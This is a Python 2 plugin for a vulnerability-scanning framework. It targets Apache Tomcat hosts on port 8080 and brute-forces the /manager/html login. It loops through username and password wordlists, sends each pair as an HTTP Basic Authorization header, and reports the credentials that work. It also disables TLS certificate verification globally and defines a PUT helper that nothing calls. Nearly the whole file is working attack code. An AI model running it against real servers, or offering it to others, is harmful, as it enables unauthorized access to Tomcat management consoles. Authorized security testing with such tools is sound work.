from __future__ import with_statement

import base64
import httplib
import random
import urllib2
import ssl

ssl._create_default_https_context = ssl._create_unverified_context

from lib.classloader import register
from lib.pocbase import  pocbase




def init():
    debug_handler = urllib2.HTTPHandler(debuglevel=0)
    proxy_handler = urllib2.ProxyHandler({});
    opener = urllib2.build_opener(debug_handler, proxy_handler)
    urllib2.install_opener(opener);



class testpoc(pocbase):
    
    def __init__(self):
        super(pocbase, self).__init__();
    
    def _match(self, infodict):
        init();
        port =  infodict["port"] if infodict.get("port")  else  80;
        version = infodict["service_version"] if infodict.get("service_version") else "";
        
        return int(port) == 8080 or version.lower().find("tomcat") != -1;
    
    def method_put(self, header, url, content):
        request = urllib2.Request(url);
        request.get_method = lambda:"PUT";
        for key in header.keys():
            request.addheader(key, header.get(key));
        resp = None;
        success = False;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return success;
            
    
                
    def method_get(self, header, url):
        request = urllib2.Request(url);
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        content = None;
        try:
            resp = urllib2.urlopen(request);
            if resp.code >= 200 and resp.code < 300:
                success = True;
                content = resp.read();
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        except httplib.BadStatusLine:
            success = False;
        except:
            success = False;
        finally:
            if resp:
                resp.close();
        return {"success":success, "content":content};
    
    
    
    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        url = "%s://%s:%s/manager/html"%("https"if infodict.get("service_type") and infodict["service_type"].find("ssl") != -1 else "http", host, str(port));
        result = infodict;
        result["success"] = False;
        with open("data/tomcat_user.txt") as username:
            with open("data/tomcat_pass.txt") as password:
                passwords = password.readlines();
                usernames = username.readlines();
                isbreak = False;
                for u in usernames:
                    if isbreak:
                        break;
                    for p in passwords:
                        u = u.strip();
                        p = p.strip();
                        u = u.replace("\r", "")
                        u = u.replace("\n", "")
                        p = p.replace("\r", "")
                        p = p.replace("\n", "")
                        ret = self.method_get({"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(u, p)))}, url);
                        if ret.get("success") and ret["success"]:
                            result["success"] = True
                            result["extra"] = "user:pass=%s:%s"%(u, p)
                            isbreak = True;
                            break;
        return result; 
        
register(__file__, testpoc)